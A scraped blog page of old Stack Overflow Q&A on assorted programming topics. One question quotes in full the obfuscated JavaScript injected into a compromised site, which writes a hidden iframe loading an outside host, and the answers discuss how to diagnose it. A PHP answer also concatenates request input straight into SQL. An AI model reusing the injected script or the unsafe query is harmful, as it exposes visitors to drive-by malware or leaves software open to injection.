Sunday, May 1, 2011

Zipimport is not working

On localhost it worked easy. I send several django zip files to server:

  1. with django folder
  2. without django
  3. folder without pyc files

But zipimport dont wonna work. Any suggestions? How you use it?

From stackoverflow
  • I don't know the solution but this is exactly why I wrote App Engine Console—for interactive debugging and testing. It's free, so give it a try on the console until you find the solution that works for you.

What is the best approach for a Java developer to learn C++

I consider myself an experienced Java developer and am planning to get started with learning C++.

If you had same experience, i.e learn C++ after Java, I would like to hear your thoughts on what is the best approach at doing this.

[Update] "the best approach" was not well quantified. What I am looking for is to leverage my existing java knowledge and programming experience so that I can quickly ramp up on C++.

From stackoverflow
  • I would start with Effective C++ and More Effective C++ by Scott Meyers. These two books go over some really good best-practices for C++.

    http://www.aristeia.com/books.html

  • I've taught C++ to Java people, even though I learned them the other direction.

    Are you comfortable with C? If not, read Kernighan and Ritchie. Many many peculiarities of C++ are explained by the desire for C++ to be a "Better C" with C's basic expression syntax.

    You should get Stroustrup.

    I think well of Thinking in C++ by Bruce Eckels.

    I've used The C++ FAQ Book, by Cline, Lomow, and Girou; I refer to it pretty often. Marshall Cline has C++ FAQ content on his site, too.

    Update

    You might also look at C++ for Java Programmers. I don't know the book but it looks decent.

    yesraaj : Try Effective c++ series with Stroustrup concurrently
  • Andy and Charlie already gave you the books, so I will indicate the boost libraries and the Qt framework.

    Boost gives you some basic functions to work with so you don't need to create everything from scratch.

    Qt, as you may know, is a GUI framework, and I find it very enjoyable to use. There is a book called "C++ GUI Programming With Qt 4" that covers all the important topics to learn Qt.

  • My proposal would be to write highly pointer-based thing, like a linked list library, BST library, etc. The code should be STL-free, similar to pure C. You should build application using such library (eg. sort algorithms?) and learn how to deal with all the pitfalls which will for sure come up, if it's your first C/C++ code.

    In my opinion the most important fundamental in knowing C++ is to understand pointers and low level memory representation of classes and structures. It's like an enlightenment after which everything is simple and clear ;)

    javashlook : Yes, implementing data structures from scratch is a good way to learn about pointers, explicit memory (de)allocation etc.
  • This is going to sound a little funny, but you asked for the best way, not the quickest. I'd suggest you start by learning C first, before you learn C++. Kernighan and Ritchie is one of the best language books ever written. When you know C and Java, you'll be able to write good, clear programs in a sensible subset of C++ with almost no additional effort.

    Journeyman Programmer : What would be the "quickest" way then?
  • Others have already specified the required books. I would like to add just couple of points to be noted: ( as background is java)

    • C++ doesnot provide you the Garbage collection ( as in Java). Hence, you must be very perticular about memory leaks. Always use delete the memory allocated on heap using new. Try to remember the Free-Store management in FAQ while writing the C++ applications.
    • Most often in C++ you may have to work with pointers ( missing in Java). Learn pointers ( books suggested by @Charlie Martin) effectively and use them.
    • One you are familiar with C++, learn the basics of STL and use effectively. ( Book By Josuttis and Scott Meyers)

    Good luck.

  • I strongly disagree with learning C first, and with trying tgo learn C++ from the Effective books, excellent though they are. Instead, get hold of a copy of Accelerated C++ by Andrew Koenig and Barabra Moo - this is written by two of the original C++ development group and will teach you how to use modern C++ features.

    Norman Ramsey : For a dissenting view see http://www.idinews.com/KoenigRvw.html
    anon : Hmm, I don't see how saying a book is excellent and that he enthusiastically recommends it dissents from my recommendation.
  • K&R and Stroustrup are classics, and eventually you should get them, but I don't think they are good introduction for C++ beginners. Thinking in modern C++ is thinking in classes, templates, exceptions, and streams, none of which available in C language.

    I would recommend a college-level textbook on C++ like Deitel and Deitel. alt text

    After playing around, you should focus on learning to write a class that behaves like a built-in class. That means providing a copy constructor, operator=, operator==, operator<<, etc.. Along the way you'll meet various concepts embedded in the language of C++. I would agree with others on Effective C++ is a must read once you are comfortable with the basics.

  • "C++ for Java Programmers" by Mark Allen Weiss is a good intro book for seasoned Java programmers.

  • Learn Qt. Trust me on this; I'm both a Java and C++ developer; I can tell you Qt makes C++ language closer to Java. Don't just learn the bare-bone C++.

    C++ with Qt makes you infinitely more productive. I used to combine so many different libraries (Boost, Intel's, database connectors, etc..) just to achieve the kind of stuff we do (high-performance/real-time computing). At the end, I found that more than 80% of what I need is already included in Qt.

    Not to mention, imo, Qt has the best documentation on any framework/library I've worked on, which makes it very easy to just learn everything on your own.

    Try it, and see for yourself.

    Disclaimer: I'm just a developer--I dont work for Nokia. =p

Is it possible to use muliple AJAX libraries on one page?

Hi, I am just curious. There are many ready-to-use AJAX libraries out there like Mootools, Scriptaculuos, Prototype, YUI etc

My question is, is it possible to combine them? If I download all the code and put them on the same page, will it cause errors?

Which open source AJAX library would you recommend for a beginner?

From stackoverflow
  • Of course, but like anytime you combine frameworks, you'll find you sometimes have to write your own glue code. For a beginner, it may be simpler to use just one.

  • It depends on the choice of frameworks you use. If they try to define the same variables then one is going to overwrite parts of the other. jQuery avoids this by defining the aliasing the core function so it has two names and YUI avoids it by not having a blasted dollar function in the first place.

    Libraries tend to be relatively large, so you should probably avoid using multiple ones on grounds of bloat rather then anything else.

    It is rare that using two different libraries is useful - the main reason for it is wanting to use multiple third party modules that depend on different libraries. In that circumstance, I would try to find alternatives that use the chosen library.

    What opensource ajax code you using?

    YUI usually. It is robust, well tested, well documented and powerful - although the initial part of learning curve is a little steeper then some of the others.

    It does it a disservice to call it "ajax code" though - Ajax is a very small part of any of these libraries.

    What would you recommend to ajax beginner?

    YUI.

    What ajax features that can impress people?

    That depends on who the people are. A lot of people will be impressed by being able to quickly produce slidey, fading, spinning animation effects ... but they aren't all that useful. A good event handling system doesn't do anything that will impress a lay person, but it will make like a lot easier for the programmer.

  • I recommend you to use the jQuery framework, because in my opinion has one of the best and easiest to understand implementation of AJAX.

    An example:

    
        jQuery.post('thescript.php', parametersInJson, function(response){
            alert('The server response: '+response);
        });
    
    
  • If you're using Java on the back end, the ZK framework claims to provide full AJAX capabilities, i.e. no need to mix and match a bunch of different libraries. From the testing I've done so far, they seem to be right.

  • yes you can but you might run into some trouble (you might need to override the $ function...)

    and i do recommend jQuery

Retrieve multiple results set

I have a Problem after I restive data from multiple result set I update the data and save it and its updated in Sql but when I retrieve it again its bring the old data what I can do?

From stackoverflow
  • You don't give many clues how you are doing this, and how you are doing the save (which might be important). However, a common gotcha here is using a local database file that is part of your project. If the project says "Copy Always", then every time you build it, the database is re-written from the unaltered state.

    If that isn't the problem - are you perhaps leaving a transaction open?

    (edit) Now that we've established that you are using LINQ-to-SQL; are you calling SubmitChanges()? It would also help to know whether you are using a single data-context, multiple data-contexts, or what? A data-context will only track changes in objects it created.

Access data on Page from Web Control

I created a web control, and it needs some data from its parent page.
How can it access that data?

Update: Thank you for the quick solutions, however they don't work for me. Visual Studio doesn't recognize the name of the page as a class. I took the name from where the class is defind:

public partial class Apps_Site_Templates_CollegesMain : cUICommonFeatures

(cUICommonFeatures inherits from System.Web.UI.Page)

But in the control, when I define

        protected System.Web.UI.Page parentPage;
        parentPage = (Apps_Site_Templates_CollegesMain)Page;

I get a compliation error:

The type or namespace name 'Apps_Site_Templates_CollegesMain' could not be found (are you missing a using directive or an assembly reference?)

I feel like I'm missing something really basic here, and I'll probably be very embarrassed when I get an answer, but I do need help....

From stackoverflow
  • If the parent page class is named lets say ParentPage, you can do this within the control:

    ParentPage page = (ParentPage)this.Page;
    

    Then you can access the properties and methods on ParentPage. If you have more pages using the same control, you should use an interface on the parent page to access the properties on the page.

    IParentPage page = (IParentPage)this.Page;
    

    Does that answer your question?

    Lea Cohen : My problem is that Visual Studio doesn't recognize the parent page name as a class... I updated my question
    Paul Suart : +1 - interfaces are definitely the way to go here.
    asgerhallas : @Lea Cohen: Do you have the "using namespace.where.page.class.reside" in the top of your usercontrol file? If you do, what namespaces are the page and the usercontrol in, respectively?
  • There are many ways to do that. I think the best one is adding a property for the data control needs and in your page set this property.

    Also you can access to your page from your control like that :

    string dataYouWant = ((YourParentPageName)Page).GetData();
    

    Or you can add the data to viewstate, and read it from the child controls.

    But as I said, I would choose the first one.

  • All Controls (server controls, usercontrols and custom controls) expose a property Page which allows you to access the containing Page instance from the code of the control.

    Therefore, you could simply do:

    // In Usercontrol code:
    MyParentPage parentPage = this.Page as MyParentPage;
    if (parentPage != null)
    {
      // Access the properties of the Parent page.
      string t = parentPage.Title;
    }
    

    The article "Mastering Page-UserControl Communication" offers a good beginners introduction to control-Page interactions.

  • Controls should be written to be independant of what page they're on. If the control needs a piece of data, then it should expose a public property which is of the type of the data that it needs. The page it is on wo uld then set that property to the data that the control needs. This permits the control to be used on another page, or even made part of a UserControl and that UserControl then used on the parent page.

What advantages can ScriptSharp bring to my tool kit?

Currently we use jQuery to add RIA goodness to our apps, but recently we have been implementing the Coveo Search engine into our Sharepoint portal and found that ScriptSharp was used in their product. What can ScriptSharp bring to the table?

From stackoverflow
  • Script sharp Prototype: Microsoft’s GWT

    According to this page:

    • A clean language with the natural constructs.
    • Easier refactoring and exploration.
    • Ability to generate documentation.
    • Ability to customize the script code easily.

    I'm not sure if I agree with all of these, but that's the sales pitch anyway. Seems like it's typed with some OO features. Opinion follow:As I've mentioned at other times, Java and C# developers seemingly want to toss out the prototyped/untyped aspects of Javascript because they are uncomfortable with writing code that way. Untyped prototyping languages have their place.

    David Robbins : I agree with your opinion concerning untyped code. When dealing with the DOM you don't have as many or the same type of concerns with type safety. We took note of ScriptSharp since Coveo had used it in their product.
  • I am using ScriptSharp as we speak, having discovered it about 2-3 weeks ago. Honestly, I love it. Native Javascript is a challenge, and the DOM model makes client-side programming even worse. Then I discovered jQuery about six months ago, and I thought it was a godsend. jQuery increased my productivity, but I still get bogged down often with jQuery because you still have to write and debug and tweak Javascript.

    Enter ScriptSharp. It has boosted my productivity over jQuery and reduced my headaches immensely. The biggest advantages I can see are the fact that the power of C# and Visual Studio are yours while you're writing code. The power of this cannot be understated. Now the niggling little Javascript errors that used to take hours to debug are eliminated at compile time. The lines of code are probably about twice as many than with jQuery, but the productivity is so much higher, so who cares? You basically just write code, with many fewer compile/test/debug cycles. Hours become minutes.

    I will say it was quite a struggle initially to get ScriptSharp to work with Microsoft AJAX until I learned of a very important step you must take in order to work with it. I pulled my hair out for days before I knew about this. (I believe this is documented in ScriptSharp's 61-page PDF Readme, but it's very easy to gloss it over.) The key is to choose the project type "Script# Class Library inside a Web Site" (or "MS Ajax Class Library Inside a Web Site") when creating a ScriptSharp library. This places the ScriptSharp project in the Bin/Scripts directory of the website, and -- very importantly -- directs the compiled output to that directory instead of to the default "bin" directory of the ScriptSharp project. Perhaps an example will be instructive:

    Web Site or Application directory\
       Bin\ 
          Scripts\           <-- "..\\" config setting sends .js files here.
             ScriptSharp Project directory\
                Bin\         <-- will not be used at run time
                   Debug\    <-- will not be used at run time
    

    In short, I found this project worthwhile. I'm going to write up my own HOW-TO (which in my case involves using Web User Controls) on how to bind everything together, and post an URL back here. Now that I've figured ScriptSharp out, it's made me very productive in my RIA development. If only it were more visible, and if only the CodePlex site were still there.

    David Robbins : Thanks - great level of detail. One follow up though - you say code size doubled, but were there areas that you have substituted a lighter jQuery implementation?
    Jim Raden : No -- I haven't done any jQuery development since I started using this. I haven't abandoned jQuery -- I've just used Script# to satisfy the pent-up demand for features that jQuery wasn't sufficiently powerful or easy enough to use. I think jQuery's strengths here are its selectors -- very powerful stuff -- and it's "fluent" coding style. (http://en.wikipedia.org/wiki/Fluent_interface)
    Jim Raden : Here's a blog entry that describes in detail the fact that you must put your ScriptSharp project in the Bin\Scripts directory of the web app or web project: http://www.thinkfarahead.com/2008/07/tip-script-and-scriptpath_13.html
    Nosredna : jQuery support is allegedly coming to Script# in late 2009.
    Jim Raden : How do you know jQuery support is coming to Script# in late 2009? Nikhil's blog hasn't mentioned Script# since October of 2008. I'm wondering if he hasn't abandoned the project for .NET RIA services.
  • At my last company I used Script# very extensively. I managed to write some cool controls (in fact an entire client side MVC stack) which I couldnt have done with my knowledge of javascript. However, I wouldn't use it again for several reasons

    • The project is closed source and the support is not great (practically non existant since the forum was closed). There are quite a few annoyances when you use it in great depth which could be fixed if you have the source. This becomes a bigger and bigger problem the more you have invested in s# code.
    • It's limited to a subset of .NET 2.0, and even then its a leaky abstraction
    • Recently Javascript unit testing and VS intellisense for javascript has got a lot better so the importance of static typing is somewhat reduced
    • Using it limited my learning of jquery and javascript

    The tooling for js is only getting better and until Script# is open sourced, it's at a standstill.

    If you're interested in cross compiling, you could also take a look at the http://jsc.sourceforge.net/ project, which lets you use .net 3.5 and compile to JS, Java, Flash or even PHP! Not sure how efficient the code that gets produced is though...

    David Robbins : Thanks - While I am a .Net at heart, I see more and more work being done with Javascript that MS is simply ignoring. The core strength of my team is .Net so we would like to build on that strength while we branch out in new directions.
  • The jsc compiler project enables these scenarios:

    • C# to MSIL to JavaScript for browser
    • C# to MSIL to JavaScript for AppJet
    • C# to MSIL to PHP5 for hosting solutions
    • C# to MSIL to Java for browser applets
    • C# to MSIL to Java for applications
    • C# to MSIL to Java for JavaCard
    • C# to MSIL to C99 for native stub applications
    • C# to MSIL to ActionScript3 for Flash 9
    • C# to MSIL to Adobe Alchemy C for Flash 9
    • C# to MSIL to C# 2.0

    With some effort Visual Basic could also be used as a source language. The jsc compiler never reads your source code even if GWT and Script# do that. My compiler reads your IL.

    jsc compiler is

    • an experimental project
    • one mans effort yet
    • rather useful already.
    • 3 years old.
    • awaiting donations to optimize compilation time and output itself

    The latest example is a plasma animation where a single implementation can be used between those platforms:

  • Recently I finished my own research on C# to Javascript translation. It seems that I've got a working transparent wrapper for jQuery in C#!

    Here is a little presentation of my work: http://tr.im/DnaR (at Google docs)

    David Robbins : Dude! This looks great! You might be interested in jLinq, a Javascript implementation of Linq for JSON objects. http://www.hugoware.net/Projects/jLinq
    David Robbins : I'm creating a post on my blog but what's your name? I'd like to send people over to your project.
    amartynov : David, it's pleasant to hear that you've been interested in my work. My info is available at my OpenID public page: http://amartynov.myopenid.com/ Thanks.
  • I'd like to share my jQuery wrapper classes for Script#. You can access and use the powerful features of jQuery in your Script# project, right now.

    Get it from here: http://www.springsys.com/blog/

how do i make Textbox to only accept alphabets appear error if is not an alphabets

I have a windows forms app with a maskedtextbox control that I want to only accept alphabets values. Ideally this would behave such that pressing a other keys other than alphabets would either produce no result or immediately provide the user with feedback about the invalid character.

From stackoverflow
  • From MSDN (This code shows how to handle the KeyDown event to check for the character that is entered. In this example it is checking for only numerical input. You could modify it so that it would work for alphabetical input instead of numerical):

    // Boolean flag used to determine when a character other than a number is entered.
    private bool nonNumberEntered = false;
    
    // Handle the KeyDown event to determine the type of character entered into the control.
    private void textBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
    {
        // Initialize the flag to false.
        nonNumberEntered = false;
    
        // Determine whether the keystroke is a number from the top of the keyboard.
        if (e.KeyCode < Keys.D0 || e.KeyCode > Keys.D9)
        {
            // Determine whether the keystroke is a number from the keypad.
            if (e.KeyCode < Keys.NumPad0 || e.KeyCode > Keys.NumPad9)
            {
                // Determine whether the keystroke is a backspace.
                if(e.KeyCode != Keys.Back)
                {
                    // A non-numerical keystroke was pressed.
                    // Set the flag to true and evaluate in KeyPress event.
                    nonNumberEntered = true;
                }
            }
        }
        //If shift key was pressed, it's not a number.
        if (Control.ModifierKeys == Keys.Shift) {
            nonNumberEntered = true;
        }
    }
    
    // This event occurs after the KeyDown event and can be used to prevent
    // characters from entering the control.
    private void textBox1_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e)
    {
        // Check for the flag being set in the KeyDown event.
        if (nonNumberEntered == true)
        {
            // Stop the character from being entered into the control since it is non-numerical.
            e.Handled = true;
        }
    }
    
  • This code will distinguish alphabetic character key presses from non alphabetic ones:

    private void maskedTextBox1_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (Regex.IsMatch(e.KeyChar.ToString(), @"\p{L}"))
        {
            // this is a letter
        }
        else
        {
            // this is NOT a letter
        }
    }
    

    Update: note that the above regex pattern will match ONLY alphabetic characters, so it will not allow spaces, commas, dots and so on. In order to allow more kinds of characters, you will need to add those to the pattern:

    // allow alphabetic characters, dots, commas, semicolon, colon 
    // and whitespace characters
    if (Regex.IsMatch(e.KeyChar.ToString(), @"[\p{L}\.,;:\s]"))
    
  • This question has probably been asked and answered a million times on every conceivable programming forum. Every answer provided has the distinction of being unique to the stated requirements.

    Since you are using a MaskedTextBox, you have additional validation features available to you and do not really need to handle keypresses. You can simply set the Mask property to something like "L" (character required) or "?" (optional characters). In order to show feedback to the user that the input is not acceptable, you can use the BeepOnError property or add a Tooltip to show the error message. This feedback mechanism should be implemented in the MaskedInputRejected event handler.

    The MaskedTextBox control offers a ValidatingType property to check input that passes the requirements of the Mask, but may not be the correct datatype. The TypeValidationCompleted event is raised after this type validation and you can handle it to determine results.

    If you still need to handle keypress events, then read on...!

    The method I would recommend in your case is that instead of handling the KeyDown event (you ostensibly do not need advanced key handling capability) or using a Regex to match input (frankly, overkill), I would simply use the built-in properties of the Char structure.

    private void maskedTextBox1_KeyPress(object sender, KeyPressEventArgs e)
    {
      Char pressedKey = e.KeyChar;
      if (Char.IsLetter(pressedKey) || Char.IsSeparator(pressedKey) || Char.IsPunctuation(pressedKey))
      {
        // Allow input.
        e.Handled = false
      }
      else
        // Stop the character from being entered into the control since not a letter, nor punctuation, nor a space.
        e.Handled = true;
      }
    }
    

    Note that this snippet allows you to handle punctutation and separator keys as well.

How can i use any dataset form SQL in GoogleChart?

How can i use any dataset form SQL in GoogleChart? i really like googleChart. But i want to use Gchart with dataset from Sql' query result in C#?

From stackoverflow
  • Google charts take a formatted string for the data feed as I'm sure you know.

    you will need to loop through your dataset and generate this string then write it out to the page in a Literal control.

    For example

    DataSet d = GetDataSet();// returns your data
    string percentages = string.Empty;
    string names = string.Empty;
    string baseUrl = "http://chart.apis.google.com/chart?cht=p3&chs=250x100";
    
    foreach(DataRow row in d.Tables[0].Rows)
    {
        string tName = row["name"].ToString();
        int value = (int)row["value"];
        names += name + "|";
        percentages += value.ToString() + ",";
    }
    
    names = names.TrimEnd('|');
    percentages = percentages.TrimEnd(',');
    
    string fullUrl = baseUrl + "&chd=t:" + percentages;
    fullUrl += "&chl=" + namesl
    
    
    image1.ImageUrl = fullUrl;
    

How would you keep a top view of a train on the tracks with the Box2D physics engine?

I think it would be fun to model a top view of a train following a track, traversing switches and so on, using a physics library like Box2D. What joints and motors would I need to make this work?

I'm curious about how to implement the forces needed to make the car follow a spline track so it can bump into other train cars, pedestrians, DeLoreans etc. Just saying "the car is now at spline(t)" for each time step would create excessive forces in the physics engine. If I understand correctly, you have to stick the car onto the track with one force, constrain its angle to tend towards parallel with the track with another (or stick the front and back of the car to the track with two forces), and create another force to propel the train forward. I'm looking for some details on how to accomplish these things.

From stackoverflow
  • Why are you worried about keeping it "on the tracks"? Where is it going to go? Gravity should keep it down, object intersection should keep it up, and so the only directions you need to worry about are forward and backwards. That's where a motor comes in, and you're done. The rest is decorations.

    In response to edit of problem:

    Siderails. And have the train long enough / rigid enough compared to its width that you can navigate crossings (make them closer to right angles to minimize the crossing problems.

    Paul-Jan : I am guessing his tracks have curves too, so "forward" won't cut it. :)
    MarkusQ : @Paul-Jan In 2d, curves are called hills. Gravity should do it. If he's talking about turning off gravity and doing a top-view, siderails are the answer.
    joeforker : I am thinking of a top-down view of the train.
    joeforker : @MarkusQ You suggest to model it like a pneumatic tube?
  • A top-down view (i.e. seeing the train from the sky) doesn't really require a 2d physics engine - if I understand you correctly. In fact, it seems like it wouldn't really help with the problem (if you want a train simulation), but then maybe you just wanna try it out for fun. :)

    However, what about putting something like a slider joint on the train and the cars, and a motor on the locomotive. The slider joint might need some special implementation; you probably want to run the train along a spline and not a segment of straight lines, right?

    Some sort of ball joint would connect the cars together.

  • I believe it would be easier without "real" physics, like the ball movement of games such as Luxor or Tumble Bugs. Meaning: let the train follow a spline which is defined by the tracks.

    Using phyiscs is probably overkill to make a train follow a track and could lead to all kinds of undesired side-effects, including jerky motion, train derailing, train getting stuck on junctions, etc.

    You could still join the individual wagons together using physic joints, however. Just make sure that only the locomotive gets acceleration forces, the rest of the train just follows or is pushed but stays on the spline.

  • The implementation is not so toughand I was able to prototype something in a few hours that does the basic job. It will require a lot of work to make it run smoothly, but it's essentially just "siderails."

    Being top-down you obviously first must turn off gravity in Box2D. Second, build a train. Treat train wheels like car wheels and it'll suddenly get a lot more simple. For tracks you have a few choices:

    • Create your own game object (not in the box2D world) that is a simple line the train will then "follow" (you can use motors on train wheels to "steer" towards the line). Then just overlay the line with some nice wide "rail" graphics and you have a nicely faked system. Tell the wheels to turn off if it strays too far from the line and presto, you have a derailment.

    • Create actual physical rails - outside rails (like siderails) that the trains "wheels" will bump into. They will have to have gentle curves in this instance, which could be very difficult given the limited resources you have (simulating a nice slow curve out of boxes in Box2D is rough on the processor)

    Then just let your train go!

client's website was attacked, eeek!

Well, I guess this day had to come.

My client's website has been compromised and blacklisted by Google. When you load the main page this javascript gets automatically added to the bottom of the document:

<script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>

I haven't dissected it just yet but it's, quite obviously, an attacker trying to pose as google analytics. What I can't wrap my head around is that if I remove EVERY SINGLE LAST BIT of HTML from the main page, to the point that index.html is an empty document, the javascript STILL gets embedded. What gives? How is that possible?

updates

  • The website is a very simple calendar application, runs on a $10/month godaddy unix account, MySQL, PHP.

  • It is not a local thing specific to my computer as my client was the one that called me with the problem. Also happening on all the computers I have at home (4)

I'll go run a scan on the webserver...

source identified

Well, I found out where the javascript is coming from. I had foolishly only emptied the template.html file but still ran the script through my php templating system. Apparently, SOMEHOW the code above got appended to the bottom of my index.php and main.php files. How is this possible?

A little more background:

  • It is a calendar application, as mentioned above, and it is used only by my client's small company. Login is required to do anything, and only 5 or so people have accounts. I can guarantee none of them would try any shenanigans. I obviously can't guarantee someone got a hold of their information and did try shenanigans, though.
  • Sadly enough, I did make this website almost 4 years ago, so I am not exactly 100% confident I protected against everything kids are trying nowadays, but I still cannot understand how an attacker could have possibly gained access to the webserver to append this javascript to my php files.
From stackoverflow
  • A rogue HTTP Module (in IIS), or whatever the equivalent is for apache could prepend, append, or perhaps even modify content for any HTTP request, even for static files. This would suggest that the server itself has been compromised.

    EDIT: If you let us know what type of web server you're using, we'll be able to make more specific suggestions for troubleshooting.

    TravisO : Yes, running an AV scan on the web server is also a good idea.
  • Are you serving any content from a SQL database? It's possible that the compromise was a SQL injection attack and your site content in the database has been replaced/amended with this script/tag.

    David : +1 this is where I'd put my time into looking.
  • Are you sure the exploit isn't local on your machine and something local is injecting HTML into your webbrowser, which then causes your brower to execute the JS?

    Run a reliable local scan using Spybot and preferably NOD32. If you don't want to install NOD32 because it might conflict with your current AV, you can use Stinger, which is an AV scanner that runs as a program and won't interfere or require a reboot.

    Also run a scan on the web server. I also see people have been posting about this in other forums like here.

    Daniel Schaffer : If it was blacklisted by Google, wouldn't that suggest that it was happening to other visitors as well?
    TravisO : Good point about the blacklisting, looks like you need to run an AV scan on the web server and find where the infection is hiding.
  • Are you allowing any html input from the user? Maybe it's something that isn't filtered properly .

  • Would it have something to do with the .htaccess?

    php_value auto_append_file /server/path/to/my/www_root/subdir/file.ext"
    

    Could automatically attach a file to the bottom of documents. Though if you can't identify a file with that JS, then I guess it's unlikely. Did you ever work out how they may have done it?

  • I advise that you look at your log files. Every access through the web should be logged there.

  • We have experienced a similiar problem with one of our clients about one year ago.

    It turns out the client was using an FTP-client that saved it's passwords in plain-text and the system was infected with a virus that specifically scanned the system for these passwords files to overwrite the source code of the hosts saved within the file.

    For more information, also take a look at http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/. You will find it very similiar to the problem you were experiencing.

    The solution for us was to encourage our clients not to save passwords, or use FTP-clients that strongly encrypt passwords.

problem with dropdown with php and ajax

For some time i am battling to solve this problem but iam not coming to any conclusion so thought to seek some help here. The problem is that i am getting a blank dropdown instead i should get list of cities populated from the database. Database connection is fine but iam not getting anything in my dropdown.

This is what iam doing:

    <?php

require 'includes/connect.php'; - database connection
$country=$_REQUEST['country']; - get from form (index.php)
$q = "SELECT city FROM city where countryid=".$country;    
$result = $mysqli->query($q) or die(mysqli_error($mysqli));    
if ($result) {
?>  
    <select name="city">
    <option>Select City</option>
    $id = 0;
    <?php while ($row = $result->fetch_object()) { 
       $src = $row->city;
       $id = $id + 1;    
    ?>     
    <option value= <?php $id ?> > <?php $src ?></option>
<?php } ?>
</select>
<?php } ?>

ajax script is this:

    <script>
    function getXMLHTTP() { //fuction to return the xml http object
         var xmlhttp=false; 
         try{mlhttp=new XMLHttpRequest();}
         catch(e) {  
  try{ xmlhttp= new ActiveXObject("Microsoft.XMLHTTP"); }
  catch(e){ try{
           xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
           }
           catch(e1){
            xmlhttp=false;
           }
          }
         }

         return xmlhttp;
        }


        function getCity(strURL) {      
         var req = getXMLHTTP();      
         if (req) {       
          req.onreadystatechange = function() {
           if (req.readyState == 4) {        
            if (req.status == 200) {      
             document.getElementById('citydiv').innerHTML=req.responseText; 

            } else {
             alert("There was a problem while using XMLHTTP:\n" + req.statusText);
            }
           }    
          }   
          req.open("GET", strURL, true);

          req.send(null);

         }

        }
    </script>

This is my form code:

<form method="post" action="" name="form1">
<table width="60%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="150">Country</td>
    <td  width="150"><select name="country" onChange="getCity('findcity.php?country='+this.value)">
    <option value="">Select Country</option>
    <option value="1">New Zealand</option>
    <option value="2">Canada</option>
        </select></td>
  </tr>
  <tr style="">
    <td>City</td>
    <td ><div id="citydiv"><select name="city">
    <option>Select City</option>
        </select></div></td>
  </tr>

</table>
</form>
From stackoverflow
  • A few things to try:

    1. If you request findcity.php manually in your browser with a city you know exist in the database, will i return the correct HTML?

    2. Try with FireBug or another javascript debugger, to set a breakpoint in the onreadystatechange function and see if the returned values are as expected. Set the breakpoint at the first line of the function.

  • I think the problem is where you are outputting the <option> tags.

    Try using this block of code between your <select> tags.

        <option>Select City</option>
        <?php 
           $id = 0;
           while ($row = $result->fetch_object()) { 
           $src = $row->city;
           $id = $id + 1;      
        ?>          
        <option value="<?php echo htmlspecialchars($id,ENT_QUOTES) ?>"><?php echo htmlspecialchars($src) ?></option>
    <?php } ?>
    

    Edit: To clarify, you didn't have any echo statements before the $id and $src variables. I added htmlspecialchars() as a habit to produce properly escaped html.

What are the benefits and challenges of developing web apps vs desktop apps?

I am having some issues with managers, because they believe that (intuitively) creating desktop apps is easier than creating web apps (because you have less constraints). But in my opinion, it is more difficult because of some reasons:

  • The literature for desktop apps is vastly smaller than for web apps
  • Coding panels and buttons is harder than using a declarative approach (HTML)
  • The stateless nature of http forces you to rethink in a request/response fashion

I'm looking for solid reasoning on GUI vs. Desktop apps. I strongly believe desktop is are harder to develop because of my experience with some toolkits, but If if someone care to respond otherwise, please feel free to fundament your reasoning.


Edit: I recovered my original question, since someone edited it and it lost the original content. If someone chooses to edit the question, please post some meaningful comment so I can at least know why some portion was changed.

From stackoverflow
  • I reckon web is harder, you have to worry about state, network, and pay more attention to things like loading, security the list goes on. How about the nightmare which is browser compatibilty, AJax, CSS arrghhh.

    OTOH Because the desktop has less boundaries maybe design wise it is slightly harder as you have more capabilities - I don't agree with that though.

    TheTXI : As a web developer, I would say that desktops are harder mostly due to unfamiliarity with lower level things like COM and other windows APIs.
  • I think that each has their own massive complications that make them unique challenges and you will get a different answer based upon who you ask. Web programmers may think that desktop applications are harder than web projects simply due to unfamiliarity with the medium.

    Desktop people may find that web apps are much harder to code for because they have to take into account a lot more design issues with CSS and communication using AJAX protocols.

  • I highly doubt web programmers need to know the winapi.I say GUI programming takes more time to be learnt.

    Ryan Emerle : The .Net Fx blurs the line a bit with respect to the winapi.
    BobbyShaftoe : Most GUI programmer you would do, wouldn't require learning the WINAPI. It seems that building professional looking applications is less complicated in a client application if you are not already a wizard at CSS/Photoshop/etc. As well, you don't have to care about browser versions and as far as OS version, you can account for that more easily than standard wars in browser standard compliance.
  • Web development is harder in my experience, you don't have the luxury of maintaining state easily; plus you have to deal with the formatting issues (css is great but it is hard to master).

  • IMHO Web Develoment is more stressfull...you must fight with Internet Explorer non compliance to the standard, slow connection, strange css behavior, browser exploit.

    Pim Jager : Upvoted you because downvoting this makes no sense.
    Miguel Ping : Thanks, I forgot about the css issues.
  • With desktop applications you do not have to deal with issues such as application state in the same way you do on the web. HTTP is a stateless protocol, so it's the developer's job to identify how to maintain the current state of the application for the user's session. A desktop can can use TCP/IP and maintain a connection to a server.

    With the web, it is very easy to create a compelling user interface, as you can add animations with Javascript, Flash, etc. It is more work for the developer when the application is data centric, and application state is an issue.

  • I get to work on both in my day job and can honestly say the only valid reason to develop a desktop app is because the user is not going to be connected at all times.

    Distributing/maintaining a desktop app has problems that are always dependent on the user while a web app can be debugged without any involvement from the user. This should never be minimized as it can take an inordinate amount of time to debug a defect that one user in Idaho has that no other user has.

    Development on the two takes a different mentality. Web is stateless by nature and desktop is statefull. When switching between the two I often get frustrated because I get use to one then try the same pattern/technique in the other and it fails.

    Ultimately it depends on the problem you are trying to solve. If you can't stand up a web server then your options are limited. If you want users to use it in the wiles of West Virginia then you have few choices.

    More information in the question would help as this question is almost too broad to cover.

  • Wow, I am surprised at the answers so far. I've done both, desktop in the past and almost all web now. I find web development much easier to develop, much easier to support and much much easier to rollout and deploy.

    I would never choose to develop something on the desktop if there was any possibility of doing it on the web instead.

  • Most of the time developing web apps is a lot easier and makes one of the big problems - deployment and roll out of new versions, disappear.

